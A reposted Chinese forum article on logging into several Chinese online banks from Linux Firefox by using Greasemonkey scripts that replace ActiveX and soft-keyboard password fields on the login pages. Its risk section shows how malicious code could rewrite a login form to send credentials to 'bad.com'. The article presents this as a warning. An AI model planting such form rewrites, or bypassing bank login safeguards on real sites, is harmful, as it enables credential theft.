|
转至http://www.chinaunix.net 作者:maluyao
Linux + Firefox 登陆网上银行
――巧用Greasemonkey扩展
作者: 马路遥 maluyao at 163.com
关键字: Linux Firefox Greasemonkey 扩展 开发 extension 网上银行 建设银行 招商银行 交通银行
前言
本文不是一篇Hacker教程。你必需使用自己的用户名和密码登陆银行,而不是猜测别人的。甚至如果你对Firefox扩展和JavaScript不甚熟悉的话。按本文的例子行动还会有很大风险。
本文的作者拒绝对本文的正确性提供任何形式的担保,包括但不限于明示和暗示的。
Greasemonkey是Firefox 的一种非常强大的扩展,能够在网也内容读入之后,页面显示在浏览器之前执行指定的 JavaScript脚本。Greasemonkey 的[url=https: //addons.mozilla.org/firefox/748/ ]下载地址。使用方法可以参考[url=http: //forums.mozine.org/index.php?showtopic=4036 ]如何使用Greasemonkey。本文所介绍的方法,要首先要安装这个扩展。而且您要仔细查看使用说明,才能够理解本文所描述的方法。
其实另外一个被广泛下载的扩展[url=http://chrispederick.com/work/webdeveloper/ ]Web Developer ,也能实现本文所描述的功能,但更为复杂。
我们虽然能成功地以旁门左道登录网上银行,但这未必是最好的方法,笔者希望每位从本文得到帮助的读者,都能给你开户银行的webmaser发一封email,要求该行能够直接支持Firefox。如果对方能够修改网页界面支持Firefox,下次评选最佳网行银行的时候,您就可以考虑投他一票。本文附录中列出了部分银行网站webmaster的email地址。
概论
经常有人说可以在计算机中完全使用Linux生活和工作,但实际上在中国大陆还不能做得到。拿本人来说,我有99.9%的时间都是使用 Linux的。不论是写C或Shell程序,听音乐、看电影、在棋圣道场(http://weiqi.com.tom)看棋谱,或是在[url= http://games.yahoo.com]Yaoo游戏打桥牌,都绝无问题甚至游刃有余。但仍然有一个重要的原因使我不能脱离Windows 系统,就是Linux无法登陆某些国内的网上银行。无论如何,我不能和钱过不去。
最近,MS开始禁止盗版Windows进行网上自动更新,这对很多人无疑是一个打击,这更坚定了我抛弃Windows系统的决心。本人目前的职业是Linux教师,深深地热甃inux/FreeBSD一类的开源软件,非常希望能像理查德.斯托尔曼一样,完全用开源软件。如果有些做不到,就争取无限接近。开源软件的最大优点之一就是可以自己动手编写一些东西。笔者虽然不是程序员,但也能折腾两下。
国内的银行现在用多如牛毛来形容,应该是一点都不过分的。下面的银行列表表格摘自 [url=http://www.hao123.com/bankjt.htm]hao123网站
银行列表略,见pdf版本。
很多银行本人根本没有帐号,所以并不关心。据说“洋”行的网站基本对所有浏览器都支持,包括IE 、Firefox、Opera、 Safari等。但以前听说过一在英国发生的新闻,某用户在使用Lynx软件访问银行的时候,竟被怀疑是黑客,导致警察上门。所以说,外国的月亮确实圆一点,但也很有限。
上表中我标出两个绿底的,北京银行和中国银行。前者可以很好地支持Firefox,后者据同事说可以支持Firefox。这里只能对他们的网站设计和人员表示敬意。
三个蓝底的银行,招商银行、建设银行、交通银行我都有帐号,是不能直接使用FireFox的。其中招商银行和交通银行的登录页面上有 ActiveX控件,不能被Firefox所支持。而建设银行的页面,有一个Firefox所无法使用的软键盘。工商银行我虽然没帐号,但知道也不兼容 FireFox。
随机挑选了几个大陆以外的银行,发现除了招商银行香港分行以外,都可以使用Firefox。”和国际接轨“的口号大家已经听烦了,从火车票的票价到大学生的学费都如此,下一个接轨的据说是北京的士的车费。但什么时候春风能吹到银行呢?
网上银行登录页面的作用,在让客户提交正确的帐号、密码以及其他信息。只要我们能够正确的提交数据,无论页面采用ActiveX还是ActiveY技术,都不会影响我们使用。下面我们来具体分析一下各家银行页面的作用。
能够提交数据的途径是修改登录页面。例如下列的html代码。
<form method=post action="http://foo.com/cgi-bin/test.pl">
username:<input name=username type=text><br>
password:<input name=password type=password><br>
<input name=submit type=submit value="OK">
</form>
如果我们用浏览器访问该页面并在用户名和密码部分填写zhang3和123.并点击OK按钮,就会将数据提交给http: //foo.com/cgi-bin/test.pl处理。甚至你可以直接在你的浏览器地址栏上直接输入http://foo.com/cgi- bin/test.pl?username=z3&password=123 ,效果通常相同。
网上银行比这要复杂一些,因为很多银行存在一个图片”验证码“,这无法用直接提交的方式发送数据。必需登录银行指定的登录界面。
刚开始研究这个问题的时候,笔者尝试通过建立一个FireFox的扩展的方式登录网上银行,在深入研究了XUL、DOM等文档后,成功地开发出了自己的扩展,但随后发现,利用现有的Greaemonkey扩展是个更简单的方案。
Greasemonkey扩展既然可以运行Javascipt脚本,我们就能够利用脚本动态修改页面,使得其能够被Firefox显示并且能提交正确的数据。首先分析原因所在,其中最容易的就是建设银行。
建设银行
建行网上银行的[url=https://ibsbjstar.ccb.com.cn/app/B2CMainPlat?CUSTYPE=0&TXCODE=CLOGIN]登陆入口
此页面的问题在于,如果使用Windows+IE ,当试图输入密码时,会打开一个软键盘来输入,这有一定的安全性,但也就只能防止某些可以记录键盘输入的间谍软件而已,但使用Firefox,就根本不能输入密码。
其部分代码如下(除去了一些定义外观的部分):
<td nowrap>证件号码:</td> <td nowrap colspan=3><input name="USERID" type="text" title="证件号码"></td>
<tr>
<td nowrap>登录密码:</td>
<td nowrap colspan=3><input id="LOGPASS" name="LOGPASS" type="password" title="登录密码" readOnly onKeyDown="Calc.password.value=this.value" onChange="Calc.password.value=this.value" onclick= "password1=this;showkeyboard();this.readOnly=1;Calc.password.value=''"></td> </tr>
核心问题就是在上述代码中我用红色标出的readOnly属性,这使得我们不能够直接输入密码,而只能借助于前文所说的软键盘。
我写了下面的脚本,用来重写一个标准的密码框来取代原有的部分,内容如下:
1.// ==UserScript==
2.// @namespace http://teenblog.org/tiantian
3.// @name ccb Assist
4.// @description ccb Assist
5.// @include https://ibsbjstar.ccb.com.cn/app/B2CMainPlat?CUSTYPE=0&TXCODE=CLOGIN
6.// ==/UserScript==
7.var passArea=document.getElementsByTagName("td")[104];
8.passArea.innerHTML='<input id="LOGPASS" name="LOGPASS" type="password" class="textlogin" size="20" minLength="6" maxLength="12" title="password">';
9.alertMessage='This page was modified by Greasemonkey extension.\nThe extension use a user defined JavaScript.\nThe Content of JavaScript is not related with Greasemonkey.\nBe care to use this.\nCopyright: GPL V2 \nAuthor: maluyao at 163.com\nKnow Bugs: \n Can not logout\n' ;
10.alert(alertMessage);
前4行都是描述性的。第5行指出了本脚本针对的网页。
第7行得到指定的<td>和</td>之间的内容,并在第8行中替换成我们自己的格式。第9行和第10行是弹出一个关于版权和警告信息的窗口,提醒用户注意。当然,最后这两行不是必需的。
把此脚本命名为jianhang.user.js后,直接用Firefox打开。并安装。
现在用Firefox打开建行的登录界面,就能输入卡号和密码了,正确输入数据并且提交后,进入了下个界面。
在左上方能正确地看到本人的名字,下方显示的广东分行也是正确的(以前在广东开的户)。沉浸在喜悦当中的我,马上点右下的“不使用证书进入”。
唉!!!!,只能说十分遗憾。建行网站的内部仍然不支持IE,还的另想办法。
办法就是继续研究html界面,并用适当的内容替换之。因为工作量的关系,笔者放弃了对建设银行的接续研究。
中国银行的网上银行登录界面同样也有一个软键盘,但是用户可以选择使用或不使用之。从网站界面设计的方面评价,建设银行无疑是和中国银行有些差距了。国际话不能光在嘴上说。要落实在行动上。
交通银行
接下来我们看看交通银行,交通银行的[url=https://pbank.95559.com.cn/personbank/common_logon.jsp]登陆界面
交行的登陆界面上用一个ActiveX控件输入密码,这在Linux + Firefox 的环境下是无法显示的。我们的办法是在登陆此界面后,用Firefox 的扩展来修改登陆界面上的内容。重新生成一个Firefox能够正确显示的表单(Form),交通银行的脚本如下:
1.// ==UserScript==
2.// @namespace http://teenblog.org/tiantian
3.// @name JiaoHang Assist
4.// @description JiaoHang Assist
5.// @include https://pbank.95559.com.cn/personbank/common_logon.jsp
6.// ==/UserScript==
7.var addformhead=document.getElementsByTagName('td')[31];
8.alertMessage='This page was modified by Greasemonkey extension.\nThe extension use a user defined JavaScript.\nThe Content of JavaScript is not related with Greasemonkey.\nBe care to use this.\nPlease input Card Number on "Card Number"\nPlease input your password on " assWord"\nPlease Input adding code below " icture Code"\nCopyright: GPL V2 \nAuthor: maluyao at 163.com\nKnow Bugs: \n Can not logout\n JIE JI Card Only\n' ;
9.addformhead.innerHTML='<form id="frmLogon" name="frmLogon" method="post" action=Bank >' +
10. '\n <input type="hidden" name="netType" value="0"/> '+
11. '\n <input type="hidden" name="language" value="zh_CN"/> '+
12. '\n <input type="hidden" name="userType" value="02"/> '+
13. '\nCard Number<input name="cardNo" type="text" maxLength="17" > '+
14. '\n<br>\nPassWord<input type="password" id="password" name="password" > ' +
15. '\n<br> icture Code<input name="reqCode" type="text" maxLength="6" size="10" >' +
16. '\n <input type="hidden" name="cardType" value="0" /> '+
17.
18. '</form>'+
19. '<a href="javascript:document.getElementById(\'frmLogon\').submit()"><img src="/personbank/images/but-denglu.gif"></a>';
20.alert(alertMessage);
第8行和第18行定义和显示了一个对话框,内容是对使用本脚本的客户机的一个警告信息,不是必要的。第9-19行中我们增加了一个新的表单,能够提交正确的数据。 虽然界面目前被改的很丑陋,但能够工作。输入正确的数据后,可以进入网上银行,查看自己帐号的情况。
风险分析
从上面的例子里可以看出,Firefox的扩展功能十分的强大。可以直接对页面进行修改。但这里也存在相当大的风险。
比如如果某页面存在一个表单,定义如下:
1.<form method=post action="http://good.com/cgi-bin/test.pl">
2.用户名:<input id="username" name=username type=text ><br>
3.密 码:<input id="password" name=password type=text ><br>
4.<input name=submit type=submit value=”提交">
5.</form>
这段内容原本会将数据提交到good.com上的test.pl处理,但如果恶意代码将其改为:
1.<form method=post action="http://bad.com/cgi-bin/test.pl">
2.用户名:<input id="username" name=username type=text ><br>
3.密 码:<input id="password" name=password type=text ><br>
4.<input name=submit type=submit value=”提交">
5.</form>
这会导致原本应该发送给good.com的数据被发送给bad.com。风险极大。
招商银行
相比于上面两个银行,招商银行的难度要高一些。招商银行使用的ActiveX控件,能够使得卡号和密码在提交前就被ActiveX所加密,密文具有一定的随机性。然后再提交数据。笔者认为这并不是必要的,但毫无疑问,这种机制加大了我工作的难度。
如果能分析出这个加密算法并用JavaScript实现,招商银行的问题也就解决了。从密码学的原理来说,已知明文和密文,分析出算法并不是件非常困难的事情。但这需要时间。这个问题的详细内容,请参考: http://bbs.chinaunix.net/viewthread.php? tid=749579&extra=page%3D2 。
目前笔者还没有分析出算法,但使用某种技巧,笔者能针对任意帐号和密码在自己的电脑上生成密文。这样虽然未知加密算法。但可以先得到自己帐号密码的密文内容,然后通过修改网页的方式提交出去。当然,这种方式暂时只能自学自用,不便公开。事实上,因为招行的网站有很多”桢“(Frame)。修改起来过于麻烦。目前的计划是不久以后注销掉招商银行的帐号。
据说工商银行的ActiveX也有类似的机制,因为没有工行帐号,就不准备进一步研究了。但相信也可以通过和招商银行类似的方式解决。
风险提示和后记
对于一般的用户,特别要注意不要安装来路不明的扩展和脚本,这其中的风险几乎相当于自己给自己安装一个木马。因为除了JavaScript语言开发以外,Firefox的扩展还可以使用Java、C/C++等语言开发,能够实现非常底层的功能,甚至格式化你的硬盘。
附录:
部分不支持FireFox的银行及其webmaster 的email地址:
中国工商银行 webmaster@icbc.com.cn
中国农业银行 95599bj@abchina.com
交通银行 95559@bankcomm.com
中国建设银行 首页上未标明
招商银行 首页上未标明 |
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?注册
x
|